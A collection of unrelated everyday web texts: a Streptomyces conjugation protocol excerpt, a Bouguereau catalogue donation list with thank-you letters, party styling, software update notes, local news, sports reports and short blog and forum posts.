You need to know if the Streptomyces species you are using has a methyl-specific restriction mechanism. If this is the case, intergeneric conjugation into Streptomyces will require the use of the E.coli strain ET12567 [pUZ8002]; otherwise DH5α [pUZ8002] may be used. You should also know the antibiotic resistance markers that the E.coli strain, construct and Streptomyces strain confer.
General laboratory & molecular microbiology safety rules apply.
LB/LB-NaCl, SFM+MgCl2, 2xYT, sterile distilled water (sdH2O), 15mL falcon tube(s), micro-centrifuge tube(s) (MCT), heating block @ 50°C, incubator @ 30°C, falcon centrifuge, micro-centrifuge, vortexer, Antibiotic(s).
Pour 4 plates per conjugation (plus parallels if necessary) of SFM+MgCl2 (10mM final) and dry for ~1 hour. Place the LB/LB-NaCl on ice. Set a heating block to 50°C. Label all tubes and plates to be used.
All parts are to be performed under sterile conditions, i.e. a Bunsen burner/laminar flow hood. Spins should be done at the maximum capacity of the centrifuge/tubes. Before plating the conjugation, each MCT should be thoroughly mixed by vortexing.
Making the E.coli conjugationally competent:
Synchronising the germination of Streptomyces spores:
Initiating conjugation:
Setting up serial dilutions:
To a suitable sized falcon, add:
Conjugation of a plasmid or cosmid into Streptomyces coelicolor is restricted by two main factors. Firstly, intergeneric conjugation can only be achieved if the vector contains the Streptomyces origin of replication – oriT. Secondly, the construct must be transformed into the E.coli strain ET12567 [pUZ8002]. This is due to methyl-specific restriction mechanisms that some Streptomyces use to protect themselves against the introduction of heterologous DNA. ET12567 [pUZ8002] is methylation deficient and therefore a convenient donor to use. If the Streptomyces species does not have methyl-sensing mechanisms then DH5α [pUZ8002] may be used. The plasmid pUZ8002 is required in both cases because of the tra gene, which encodes a transfer protein Tra. This enables RP4 derived in trans mobilisation of tra defective vectors in intergeneric conjugations.
The number of parallels performed depends on the type of conjugation:
A consideration with the E.coli strain ET12567 is its growth rate. Its doubling rate is slightly longer than DH5α. Thus the subculture needs a longer incubation (up to 4 hours) and the plates a few extra hours.
The antibiotics in the overlay select for the correct exconjugants. It is done after the incubation overnight to allow for the construct replication / integration into the genome of Streptomyces. If a construct confers Apramycin resistance then all successful exconjugants will be Apramycin resistant. When used at the suggested concentrations Nalidixic Acid bacteriostatically inhibits the growth E.coli cells. It is thought to do this by disrupting DNA repair mechanisms. This prevents E.coli from over growing the Streptomyces, allowing it to develop normally. Also, mechanical selection of a Streptomyces colony will prove easier in later steps.


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detail from La Jeunesse de Bacchus , by Bouguereau
The book itself is the conclusion of a 30 year effort by a small determined team of 19th Century Art experts. The Catalog Raisonné which was jointly published by the Art Renewal Center® and the Antique Collectors Club, is a two-volume boxed set which illustrates the complete oeuvre of this great master, including information on all of William Bouguereau's 828 known paintings, as well as the entire 600 page biography written by Damien Bartoli, with Fred Ross, ARC Chairman and President of the Bouguereau Committee.
The huge scope of Bouguereau's work was immensely famous and popular in his own time and then was suppressed for nearly a century, resurfacing in 1980 when the Met hung 2 of his works. His popularity has gained momentum steadily ever since, and today he is widely recognized as the most popular and beloved of the Academic artists who preceded Impressionism. His diverse work spans monumental religious and mythical compositions, but most beloved are his deeply touching scenes exploring the depths of human emotion from early childhood through young adulthood. His poetic renderings of the psychology of youth are married to impeccable technical perfection, found in an unparalleled number of original and powerful masterpieces.
Below is a list of all book donations to date, we still have 27 left to go out and are currently compiling a list of Libraries and Museums that are still missing this monumental work:
Academy of Realist Art, Boston MA
Academy of Realist Art, Toronto
Adrian Gottlieb Studio & Atelier
Angel Academy of Art
Ani Art Academy Waichulis
Aristides Classical Atelier
Atelier BACAA
Atelier Canova
Atelier Dualis
Atelier Florence Academy of Art, Italy
Atelier Florence Academy of Art, Sweden
Atelier Indiana
Atelier Madrid
Atelier Maui
Atelier School of Classical Realism/LA
Barcelona Academy of Art
Barcelona Atelier of Realist Art
Beaux-Arts Atelier
Bohemiarte School and Gallery
Charles H. Cecil Studios
Chiaroscuro Studio of Art
Georgetown Atelier
Gold Light Studios
Golden Gate Atelier
Grand Central Academy of Art
Hein Academy of Art
Ingbretson Studio of Drawing & Painting
LAAFA: Los Angeles Academy of Figurative Art
Lafayette Atelier
Laguna College of Art & Design, School of Fine Art
Lausanne Collegiate School: The Michelangelo Project
Lavender Hill Studios
L'ecole Albert Defois
London Atelier of Representational Art
Long Island Academy of Fine Art
Lyme Academy College of Fine Arts
Magrath Sculpture Atelier at Gage Academy of Art
New York Academy of Art
Old Masters Atelier
Ravenswood Atelier
Russian Academy of Art
Sadie Valeri Atelier
Studio Incamminati
Teaching Studios of Art, Brooklyn
Teaching Studios of Art, Oyster Bay
Texas Academy of Figurative Art
The Academy of Fine Art
The Art Students League of New York
The Atelier: Studio Program of Fine Art
The Center for Academic Study CAS
The Harlem Studio of Art
The Ryder Studio
The School of Representational Art
The Schuler School of Fine Arts
The Southern Atelier
Watts Atelier of the Arts, LLC
The Swedish Academy of Realist Art - Atelier Stockholm
Museo de Arte de Ponce, Puerto Rico
Westminster Reference Library, Great Britain
Philadelphia Museum of Art, Philadelphia, PA
St. Johnsbury Athenaeum, St. Johnsbury, VT
Syracuse University Library, Syracuse, NY
Carnegie Library of Pittsburgh, Pittsburgh, PA
St. Gregory's University, James J Kelly Library, Shawnee, OK
Seattle Art Museum Library, Seattle, WA
Denver Art Museum Library, Denver, CO
Virginia Museum of Fine Arts, Margaret R. and Robert M. Freeman Library, Richmond, VA
College of Central Florida Library, Ocala, FL
The British Library, London, UK
The New York Historical Society, Patricia D. Klingenstein Library, New York, NY
Bodleian Library, University of Oxford, Oxford, UK
Kimbell Art Museum Library, Fort Worth, TX
University of California, Arts Library, Santa Barbara, CA
Other Major Libraries we have identified as having the Bouguereau Catalogue Raisonné
Brown Fine Arts Library, Houston, TX
Clark Museum Library, Williamstown, MA
The Cleveland Museum of Art, Cleveland, OH
The Cleveland Museum of Art, Cleveland, OH (Ingalls Library and Museum Archives)
Columbia University Avery Architectural and Fine Arts Library, New York, NY
Cornell Fine Arts Library, Ithaca, NY
The Detroit Institute of Art, Detroit, MI
Fine Arts Museum of San Francisco has a copy for visitors to view in their book store.
Frick Art Museum and Library, New York, NY
H. Johnson Museum of Art, Cornell University, Ithaca, NY
Jean Outland Chrysler Library, Norfolk, VA
The Mary R. Schiff Library and Archives, Cincinnati, OH
Mead Art Museum, Amherst College, Amherst, MA
Memorial Art Center, University of Rochester, NY
National Art Library V&A, London, UK
National Gallery of Art Library, Washington, D.C.
The New York Public Library, New York, NY
Ryerson and Burnham Libraries, The Art Institute of Chicago, Chicago, IL
Saint Louis Art Museum Library, Saint Louis, MO
Spencer Art Reference Library, Kansas City, MO
Syracuse University Art Collection, Syracuse University Library, Syracuse, NY
Thomas J. Watson Library, New York, NY
The Toledo Museum of Art, Toledo, OH
UCLA Hammer Museum of Art, Los Angeles, CA (UCLA Arts Library)
University of Michigan Fine Arts Library, Ann Arbor, MI
The William Morris Hunt Memorial Library and The W. Van Alan Clark Jr. Library, School of the Museum of Fine Arts, Boston, MA
Thank You Letters
August 5, 2013
Dear Mr. Ross,
I am happy to report that the two volume work on William Bouguereau arrived safely. They are stunning volumes, despite the necessity of having several black and white images. This undoubtedly is the most complete work on Bouguereau ever. Though he is not 'in fashion' these days, his works are remarkable. Having worked at the Getty Museum for many years in the past, I recall viewing his work, "Young Girl Defending Herself against Eros" with pleasure. This set is a wonderful addition to the collection.
We are most grateful to you for this gift to our collection. Your generosity is much appreciated and works such as this have made the Arts Library an excellent resource for students, scholars, professors and independent researchers.
Wdith kind regards,
Susan Malkoff Moon
Head, Arts LibraryUniversity of California, Santa Barbara
July 24, 2013
We received our books this morning I cannot thank you and the ARC enough they are BEAUTIFUL! My students marveled at them and will no doubt use them as references and valuable sources of inspiration in the future. Thank you all for the work you do!
Erin Anderson
Atelier Dualis
April 19, 2012
We very much appreciate being contacted about your donation. We would love to receive the beautiful books that you are offering to us. They will certainly be a welcome addition to our collection, and we probably would not be able to acquire them through purchase due to our limited budget.
Anita Semtner
Director of the James J Kelly Library, St. Gregory's University
associated with the Mabee Gerrer Museum, Shawnee, Oklahoma.
The Museum owns the painting Réflexion, by William Bouguereau
January 5, 2012
Thank you so much for sending the Georgetown Atelier those absolutely wonderful Bouguereau books. They are a real treasure and a great resource to learn from! There are a couple Bougereau works that we have here in Seattle at the Frye, and it's been great being able to take our class to see those works in person and also have those catalogues to refer to in tandem.
Thanks again,
Tenaya Sims
Georgetown Atelier
September 25, 2011
I am a third year student at Georgetown Atelier in Seattle, WA. Our instructor, Tenaya Sims, brought in the beautiful addition of the Bouguereau Catalog Raisonne that you offered our school. As a student it is not in my means at this time to purchase such a definitive work of one the finest French painters. I have admired his work at Orsay and our local musem, the Frye. However to have all his works available to study, page after page, is a sheer delight.
Thank you for your generous gift to our atelier library. I am so very appreciative of the dedication, long hours and effort it took to bring this book to print.
Courtney Estevenin
Georgetown Atelier
Thank you so much for your letter and the books. Gage was on vacation and it took me longer than expected to receive the package.
The books were a wonderful surprise. We are very grateful to have received them. They are treasures for our school. I also appreciate the article by David Stork; it's brilliant. It will be required reading for my incoming students.
My deepest thank you for the beautiful books. Art Renewal is doing great work.
With my Best Wishes,
Juliette Aristides
Aristides Classical Atelier
August 2, 2011
We received a nice "little" surprise here at the studio today, a surprise weighing in at about thirty pounds. Our own copy of the Bouguereau catalogue! This is an absolutely astounding resource of Bouguereau, and my students and I will treasure it forever.
Adrian Gottlieb
Adrian Gottlieb Studio and Atelier
August 3, 2011
THE BOUGUEREAU BOOK!!!! YOU'RE KIDDING ME!!! OMG!!!! I've been looking at it on the website wishing I had enough money to get that! I'm one of the ones that has always lamented the fact that there were no decent books on Bouguereau. WOW!!!
Thank you so much! I'm shocked... but so happy! Wow!!
Best Regards,
Andrea Smith
Atelier Canova
August 6, 2011
Thank you so much for sending us your beautiful gift!!!
We have received it, it is absolutely gorgeous, great addition to our library!
Semyon Bilmes
Atelier Maui
August 1, 2011
We have received the volumes at both locations. They are simply splendid. They offer concrete proof of a more civilized age, when the skill of an artist matched his vision. The catalogue raisonné of Bouguereau will give our faculty and students something to aspire to. We are very gratefull for the gift.
Rob ZellerDirector, the Teaching Studios of Art
July 22, 2011
I look forward to receiving the Bouguereau Catalogue Raisonne to share with our students. Thank you for your consideration.
Best wishes,
Linda Dulaney
Bay Area Classical Artists Atelier LLC
July 22, 2011
Thank you for this generous gift of books. The students and staff will enjoy this chance to study and view these tremendous volumes of knowledge. I know that we will use them as reference from our Master Copy exercises to Final Portrait Projects, and everywhere in between.
Molly Johnson
Executive Director
Kewaunee Academy of Fine Art
July 30, 2011
We are extremely grateful for having been chosen to receive one of the Bouguereau Catalogue Raisonne. I had read about it on your site, but thought it might be far too presumptuous to ask for one, since we are all the way in London. We have indeed just acquired a new space as a student common room, which we have started to fill with important art reference books, and the Bouguereau catalogue would definitely need to be there! In order to fund my own art training, I worked part-time at Thomas Heneage Art Books in St James's for over ten years cataloguing art reference books and so have a huge passion for art monographs and exhibition catalogues.
Ann Witheridge
Lavender Hill Studios
August 4, 2011
Dear Fred and ARC,
What a wonderful surprise to receive the Bouguereau Biography and Catalogue Raisonné today! The atelier had been planning to buy it for our library when we could, but financially it kept being postponed. So your gift of these two beautiful books is a real gift to the atelier library and will be poured over by our students for years to come.
Thank you so much,
Dale Redpath, Cyd Wicker
The Atelier: Studio Program of Fine Art
July 27, 2011
I'm at a loss for words to express how grateful I am for your generosity. I've seen the Bouguereau books and they are beautifully done. Thank you so much.
Anthony Ryder
The Ryder Studio
August 4, 2011
We received our books this morning I cannot thank you and the ARC enough they are BEAUTIFUL! My students marveled at them and will no doubt use them as references and valuable sources of inspiration in the future. Thank you all for the work you do!
Rob Zeller
Teaching Studios of Art


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With the inspiration of the Hibiscus Fun invitation by Pear Tree Greetings, our luau took a modern twist.
With the inspiration of the Hibiscus Fun invitation by Pear Tree Greetings, our luau took a modern twist.
We incorporated bright tropical colors, fresh grilled fish and fruit for a dinner party that had everyone saying, "Aloha!"
This idea was sponsored by Pear Tree Greetings.
The graphic design and color of the Hibiscus Fun invitation by Pear Tree Greetings suggested a Hawaiian Luau with a more modern twist.
The brilliant pink and orange colors against the cool gray background gave us the inspiration to create a luau that contrasted hot tropical colors within a subdued and natural setting.
An exotic pink bromeliad took center stage on the dinner table. Planted in an old wooden box embellished with a metal fish design, the bright tropical foliage paired with the weathered wood gave us that contrast that we liked so much from the graphic design on the Pear Tree invitation.
A handmade paper-flower lei was placed beside the plates for each guest. Tropical pink paper and orange drinking straws were cut and strung together on natural jute twine to create the wreaths.
We also adorned the table with easy DIY embellished glass containers. To recreate simply fill with tropical foliage and wrap fish net around!
A fresh and flavorful menu of grilled salmon topped with mango salsa, lemony tabouli salad, tropical fruits, and warm Hawaiian rolls defined this Hawaiian luau.
And for dessert? Grilled pineapple served on top of a slice of grilled poundcake with a scoop of vanilla ice cream on the side.
Garnish with warm caramel sauce, toasted macadamias and coconut for a tropical treat your guests won't stop talking about.
Inspired by the use of colors on our Pear Tree Greetings invitation, we added bright orange candles to flank the tropical centerpiece on our table.
Some small seashells and a pink flower placed in the base of the candle holders gave them the Hawaiian look they needed to be at this luau.
Natural rattan chargers anchored the place settings on the Hawaiian-themed table. Layering two different napkins created more color and pattern and also created a place to tuck some more tropical foliage.
Festive Hawaiian stir-sticks add another pop of bright tropical color to the table.
Even the chairs got dressed up for the luau. A swag of silk orchids was tied to the back of each chair, extending the tropical decor beyond the tabletop.
Mahalo! Thank you for joining us for a luau. Party favors topped with a graphic from the Pear Tree invitation held a delicious tropical trail mix for guests to take home with them.
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The Adobe Photoshop 12.0.3 update fixes a number of high priority bugs including tool tips on Windows XP, painting performance and type-related issues. This update is recommended for all Windows users.
The most significant fixes in the Photoshop 12.0.3 update include the following:
— Windows XP tool tip font issue introduced by 12.0.2
— A number of potential security vulnerabilities have been addressed
— Top type and font crashers found in the field have been addressed
— A number of performance issues have been addressed
— Crash opening 3D layers has been addressed
— Color Engine crash has been resolved
— Intermittent file format issues addressed
— Shift scrolling bug fixed
— Sharpen crasher fixed
— Marching ants not seen at certain zoom levels fixed
— Metadata focus distance issue addressed
— File info bug addressed for Orphea Studio jpg's
— TWAIN crashers fixed
— Brush cursor bug fixed
— Histogram progress bar issue fixed
— Droplet issues addressed
John Nack's blog entry on this update:
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A NEW King is rolling into Barbury Castle this summer after national hunt trainer Neil King announced plans to move to area.
Having been based in Newmarket for the past 12 years, King will be moving to Upper Herdswick Farm after purchasing the 284-acre chalk land downs training establishment which is currently rented to trainer Jim Old.
The Bury St Edmunds-born trainer will be the second King in area with Alan King's stables just two miles away.
Having worked under leading trainer Nicky Henderson, King has been renting the Middle and Lower yards of the St Gatien Stables in Newmarket, which Old will now take control of, and this season he has had 25 winners which have included the promising Saffron Wells, Zeroeshadesofgrey and Delgany Demon.
King, who has held a dual purpose trainer's licence since the summer of 2003, said: "Newmarket has been an excellent place to train from but it's been a long held ambition to have my own land and private facilities.
"Upper Herdswick has exceptional gallops to train jumpers from, it has one of the best schooling grounds in the country and plenty of turnout for horses.
"It will be a busy summer refurbishing the buildings, as well as installing a new polytrack gallop and spa facility.
"I am delighted to be in a position where I can take this major step forwards and look to increase the number and quality of horses in the yard, and hopefully attract further new owners.
"I've steadily built up the business over the past few years with increased winners year on year and my owners are extremely supportive of the move.
"I'm also lucky to have a great team of staff, the majority of whom are moving with me including our stable jockey, Trevor Whelan."
King, having started riding at the age of 10, progressed to point-to-point and after leaving school he spent a year at agricultural college.
He has also spent two years as pupil assistant to Henderson at Windsor House in Lambourn.
During Henderson's quieter summers King rode out at Herringswell Bloodstock Centre where flat horses are prepared to go into training.
On leaving Henderson's stables, he started his own hunting livery yard, which King ran successfully for 12 years before moving to St Gatien in 2002.


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Well, it's better than no offer and no movement and no discussion.
I think this is a sign that both sides know that the drop-dead date is coming, and the Jan. 2 NHLPA decertification date is out there (though my understanding is that they could decertify later).
Lots of info coming out on twitter ———->
No idea if it will be enough for the players to accept, or be the basis for a deal, or if it's a take-it-or-leave-it proposal. Supposedly it's comprehensive, with the max contract increased to six years (seven for signing own players), with language that allows teams to get under new cap (buyouts), and a 10-year CBA.
If this is a yes or no, I suspect one more no from the players. If it's tweakable, maybe a deal is coming. I still suspect we go into January toward a drop-dead date.


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Hi all, I am in a problem with my blog. In my google.com/webmasters/tools I got a message that "Googlebot can't access your site, Over the last 24 hours, Googlebot encountered 1 errors while attempting to connect to your site. Your site's overall connection failure rate is 33.3%."
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I communicate with my hosting provide, he said me "Its a problem of chmode or .htaccess or robot.txt file" but everything was well! Please help me to solve this problem. I am worried about my blog.
You've had 1 error in 3 tries. Perhaps your host hiccuped, perhaps Google did. Either way it's not enough to go on yet so as Google suggests, use the Fetch tool to insure the problem does not persist.
Thanks for quick replay but I to know details more. I am new in blogging so can you suggest me how to fetch in google (How many link should fetch in google)?
Google will [and is already] fetching your site automatically to update it. The more you publish to it, the more often it will come back.
When you have a specific issue you need to debug such as this one you can use the Fetch as Google option to test. This is explained @ http://support.google.com/webmasters/bin/answer.py?hl=en&answer=158587
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POLICE have appealed for information after a pilot was targeted by someone pointing a laser pen at an aircraft.
The plane was flying into Birmingham International Airport when it was targeted by a green laser pen while flying near Malvern.
Air traffic controllers at Swanwick, in Hampshire, contacted West Mercia Police at 7.45pm on Saturday, March 22, to report a green laser had been pointed three times at an Air Hamburg flight cruising at 17,000ft, about three miles up, as it descended into Birmingham.
They believed the source of the laser was somewhere in the Malvern area at 7.30pm the same night.
Police are asking for anyone with information to contact them.
They have warned that even though the light from the pen seems to stop because it is no longer scattered into the user's eyes, it can continue and reach aircraft, putting pilots and the cargo, or passengers, at risk.
The beam can distract pilots, can appear inches bigger than it does from its origin, can be seen more than 12 miles away, and can be mistaken for the aim on a weapon.
A spokesman for the Civil Aviation Authority (CAA) said: "Shining a laser at an aircraft in flight is a serious risk to its safety.
"Helicopters are particularly vulnerable as they have a solo pilot, fly low and have a large curved plexiglass windscreen that refracts the laser beam and floods the cockpit with light.
"Being dazzled and temporarily blinded by an intense light could potentially lead to the pilot losing control of the aircraft.
"Pointing a laser at an aircraft is now a specific criminal offence and the police are becoming very good at catching the perpetrators.
"We strongly urge anyone who observes a laser being used at night in the vicinity of an airport to contact the police immediately."
Figures show there were 1,570 laser attacks on aircraft in the UK in 2012, and 1,911 incidents in 2011.
Hotspots for the incidents were in Manchester, Glasgow, Birmingham, Leeds Bradford and Heathrow airports.
There were also 216 attacks on UK passenger aircraft at foreign airports in 2012.
Laser pens are often used during presentations and are battery-powered. They can be bought online for as little as £8.
Anyone caught shining a device at an aircraft could face charges of endangering an aircraft, punishable by up to five years in prison.
Anyone with information, or who may have seen a green laser pointer being used in the area, is asked to contact the police on the non-emergency number, 101, and ask for police in Malvern, quoting reference number 589S 220314.


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The media's been buzzing this morning with reports of the Tom Cruise Scientology video that boasts how the actor came to the aid of New York City firefighters after 9/11. Since the intergalactic federation of Thetans has been suing every YouTube user in sight that hosts the supposedly stolen videos, here's a rundown about what the church of Scientology recruitment video claims Tom did for firefighters, according to Page Six:
In the promotional tape, the star states, with a scary gleam in his eye: "A Scientologist is someone who can look at the world and really see what it is . . . and be effective and do something about it and someone who's not asking permission to do that. Why ask permission? We are the authorities!"
Next, the video cuts to news footage of the devastation at Ground Zero as cheap action music plays and a cheesy narrator boasts: "And nothing says that better than the Mr. Cruise response [sic] to the wake-up call in the aftermath of 9/11 . . . If he takes a stand, it's pedal to the metal till the finish line, as in helping New York firemen. He first saw the dust and heard the cough when descending to the ruins, where he bolstered morale among firemen. The devastation had spread an unprecedented combination of toxins through the air – and it was lethal."
Cruise's voice kicks back in: "The EPA came out and said the air was clean. Of course, as a Scientologist, you go, 'That's a lie, [an] out[right] lie . . .' You know, you just go, 'Liar. Fine.' "
The narrator then returns to brag how Cruise "personally saw to the establishment of a first New York-covered detox project. And, no, he did not ask permission."
The article goes on to state the project was widely trashed by medical professionals and Mayor Michael Bloomberg. So I guess Tom Cruise's detox center is apparently no more reputable than my "Boobie Inspection Center." Which is surprising considering he had a state-of- the-art facility with exercise bikes and oxygen masks whereas I had my garage and a lab coat I bought at the thrift store. Though to be professional I wrote "Dr. Sexypants" on the chest pocket with magic marker.
NOTE: Gawker has a copy of the video here. If you haven't seen any of these yet, they are hilarious. And by hilarious I mean Holy shit Tom Cruise is going to kill us all.


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THE revival of adventure footwear brand Colorado takes another big step this month with the formal relaunch of the business that collapsed last year with the loss of 1000 jobs and all its branded shops.
The clothing range is gone, and Colorado stores will not resurface until 2014 as chief executive Don Grover seeks to avoid the mistakes of the business' previous owners, Affinity Private Equity Group.
''We want to bring back the product that people love the most, which was the footwear,'' he told BusinessDay.
''When you peel it all back, it's adventure wear, and it's a lifestyle product, and it's built around footwear and that's my intention to play to those very very strong key strengths of the brand.''
Sales will be driven by a new Colorado online website as well as through the other two footwear businesses run by Colorado's operating company, Fusion Retail Brands - Mathers and Williams.
Myer has also signed up as a wholesale customer.
''The distribution strategy we'll have now is less reliant on the huge number of concept stores that Colorado had in the past,'' Mr Grover said. ''I do intend to bring Colorado concept stores back during next calendar year but they'll not be of the scale they were previously.''
Colorado's debt-funded expansion into big concept stores and apparel provided an early demonstration of the retail expansion model that caused so much grief for Billabong investors over the past year.
''I think that's when things started to go wrong for the brand,'' Mr Grover said of the debt-funded expansion into non-core areas.
Colorado ended up in the hands of its creditors, which were owed $430 million, and took ownership of the business in September last year, which was renamed Fusion Retail Brands.
Majority ownership is shared between National Australia Bank, Nomura, Rabobank and US private equity firms Anchorage Capital Partners and Ice Canyon.
Fusion said it generated sales of about $270 million last financial year from its five big brands that also include Diana Ferrari and JAG.
About 25 per cent of top-line growth this year is expected to be generated by Colorado as it rebuilds.
Mr Grover said conditions would remain tough for now.
''There is still that lack of confidence in the general retail market, so our business has got to be capable of taking market share and that will be about how we execute,'' he said.


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Pacers lose.
I am now leaning towards concern that this team is stuck in cruise control and arent doing the right things to win like the way they were playing at the beginning of the season.
The Pacers will be hitting a very rough patch in the schedule for the next couple of weeks.
I guess nothing to say that wont be negative....so...i guess just move on to the next game.


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BATON ROUGE, La. (AP) -- The Louisiana Office of Tourism is launching a website for visitors to sample the state's musical offerings and plan a music-themed vacation.
The site is www.LouisianaSoundtrack.com. A news release from Lt. Gov. Jay Dardenne's (DARR - dehn's) office says it contains audio and video of indigenous music including jazz, Cajun and zydeco.
Visitors can also learn about the heritage and evolution of Louisiana music, and information on venues and events showcasing that music.
The site also features listings and links to information about Louisiana's major music festivals, live music venues, historical music sites, recurring concert series and jam sessions.
"With so many great live music venues and music-themed festivals in Louisiana, visitors can be overwhelmed by the many experiences offered," said Dardenne, whose office oversees Louisiana's Office of Tourism. "We hope folks will use the site as a one-stop shop to learn about Louisiana music and then set a personal itinerary based on the region of the state or the dates they will be visiting."


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Brad Groleau was covering home plate on a dropped third strike, a play he has certainly done before in his baseball career. This time he did it pitching for the U Dogs out of Lockport in a summer league contest in Lombard.
He made the tag and got the runner, but he was also out. Out with a torn ACL to his left knee, the second time he has sustained the same injury to the same knee in three years.
"I was covering home and my knee just gave out on me. I tagged the runner. I basically tried to stop and it just went out on me. I don't even know how it happened," he said.
The first time he tore his ACL was also on a freak, non-contact play in football. He was making his first varsity carry his sophomore year (2010 against Kewanee) and when he planted his left leg to make a cut, his knee went out on him.
The second time comes after Groleau made it through two years of varsity football and basketball and three years of varsity baseball. His doctor told him the chances of that happening again were very, very slim.
"Right now, it's very hard, but once I get the surgery over and start my therapy, I'm going to be very determined to get it all done," he said.
Groleau has signed to play baseball for McKendree University in Lebanon and said his coach there has been "very, very supportive." He will take a medical redshirt his freshman year.
"My scholarship and everything is good. I'm going to try to work very hard and come back even stronger than I did the first time," he said.
Groleau is keeping a positive attitude and knows God has a plan for him.
"I feel that God gives the toughest tasks to his toughest warriors," he said. 'I'm not sure what that plan is yet, but I can not live in the past nor in the future. I can only live in the present and get through the surgery and tackle the therapy each day. This injury will not stop me from playing college baseball.
"I believe I can come back from this even stronger than the first time. God is always with me and he will guide me."
St. Bede athletic director Tom McGunnigal knows the kind of character Groleau has and knows he will bounce back strong once again.
"He has one of the most remarkable positive attitudes about conquering any challenge laid out in front of him," McGunnigal said. "He is the least deserving of having an injury happen like this to him – let alone twice – but he is the one who can comeback from this time and again because of his mental toughness, work ethic, and attitude."
The surgery has been moved up two weeks to July 8 as originally planned and then he will begin the long rehab process once again. Until then, he's been getting out and about, taking in the recent College World Series in Omaha and Wednesday's White Sox-Orioles game at the Cell.
"Baseball's my love. It's good to be at the ballpark," he said from Omaha when I first reached him.
His parting words to me that day summed up his attitude to a T.
"It's definitely not going to stop me," he said.
Knowing Brad Groleau and his determination and faith, I know it's not going to stop him either.
Kevin Hieronymus is the BCR Sports Editor. Contact him at email@example.com


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WINTER PARK, Fla. – The amazing turnaround on the Bowman Center hardwood is evident across the Sunshine State Conference as the 17-win Lions saw Head Coach Lance Randall named the SSC's Coach of the Year and Trent Thomas earn Newcomer of the Year honors as was announced by the league office on Thursday. It was an All-SSC team that saw the duo join junior Marcus Ruh in representing Saint Leo in impressive fashion.
In his debut season at Saint Leo, Randall led a resurgence in the Lions basketball program. He inherited a team that was picked last in the SSC preseason poll and led it to a third-place finish in the regular-season standings with a 10-6 conference mark. Currently sporting a 17-10 overall record, the Lions have won eight consecutive games, breaking a program record that dates back to 1987. The hallmark of Randall's squad is hard-nosed defense, and his Lions lead the league in scoring defense and are sixth in the nation, permitting just 58.3 points per game. Saint Leo also led the league in holding its opponents to a 39.9 percent field goal percentage and 30.6 percent three-point percentage.
He is only the third Saint Leo coach to earn the Coach of the Year honors in men's basketball, joining former Athletic Director and Coach Norm Kaye who earned the honor in 1977 and Gary Richert who earned it twice in 1984 and 1988.
A junior transfer from North Dakota State College of Science, Thomas played a key role for a revived Saint Leo program. He ranked sixth in the SSC with 14.6 points per game. A native of Milwaukee, Wis., Thomas shot the ball at a solid clip, connecting on 40.4 percent (3rd SSC) of his three-pointers and 81.6 percent (5th SSC) of his free throws. He also ranked 10th in the conference with 1.4 steals per outing.
Ruh also joined his teammate and coach on both the first team and all-newcomer team as the junior guard averaged 12.6 points per game, an SSC Player of the Week honor and a reputation for the Lions' most clutch performer. The Green Bay, Wisc. Native played and started in all 27 games for the Lions and has seen over 900 minutes of court time, easily the most seasoned performer for Saint Leo.
A total of 15 student-athletes were named to the 2011-12 All-Sunshine State Conference Men's Basketball Team. Joining Randall and Thomas, Eckerd's Lance Kearse was selected Player of the Year and Rollins' Chris Malcolm was chosen Defensive Player of the Year. Florida Southern's Kevin Capers was recognized as Freshman of the Year.
Earning a slot on the All-SSC First Team with Kearse, Thomas and Ruh were Simon Cummings (Florida Tech) and Seth Evans (Florida Southern).
The All-SSC Second Team was comprised Malcolm and Brett Bailey (Florida Southern), Derek Hellemann (Florida Tech), Julius Reid (Florida Tech), and Evan White (Barry).
An All-Newcomer Team was also chosen. In addition to Capers, Evans, Ruh, and Thomas, Lynn's Jeremy Lampkin also received a slot on the squad.
Voting for the All-SSC Men's Basketball Team was conducted among the league's men's basketball coaches and sports information directors.
Randall, Thomas and Ruh and the rest of the Lions will continue their season when they visit Lakeland, Fla. for the SSC Tournament Semifinals as they face Eckerd College. Saint Leo will tip-off with the Tritons at noon on Saturday. For the latest news, information, and updates on Lions Basketball as they push further into the postseason, and for more about all other Saint Leo Athletics, visit SaintLeoLions.com.
Simon Cummings, Florida Tech, Senior
Seth Evans, Florida Southern, Junior
Lance Kearse, Eckerd, Senior
Marcus Ruh, Saint Leo, Junior
Trent Thomas, Saint Leo, Junior
Player of the Year - Lance Kearse, Eckerd
Defensive Player of the Year - Chris Malcolm, Rollins
Newcomer of the Year - Trent Thomas, Saint Leo
Freshman of the Year - Kevin Capers, Florida Southern
Coach of the Year - Lance Randall, Saint Leo
Brett Bailey, Florida Southern, Junior
Derek Hellemann, Florida Tech, Senior
Chris Malcolm, Rollins, Senior
Julius Reid, Florida Tech, Junior
Evan White, Barry, Senior
Kevin Capers, Florida Southern, Freshman
Seth Evans, Florida Southern, Junior
Jeremy Lampkin, Lynn, Junior
Marcus Ruh, Saint Leo, Junior
Trent Thomas, Saint Leo, Junior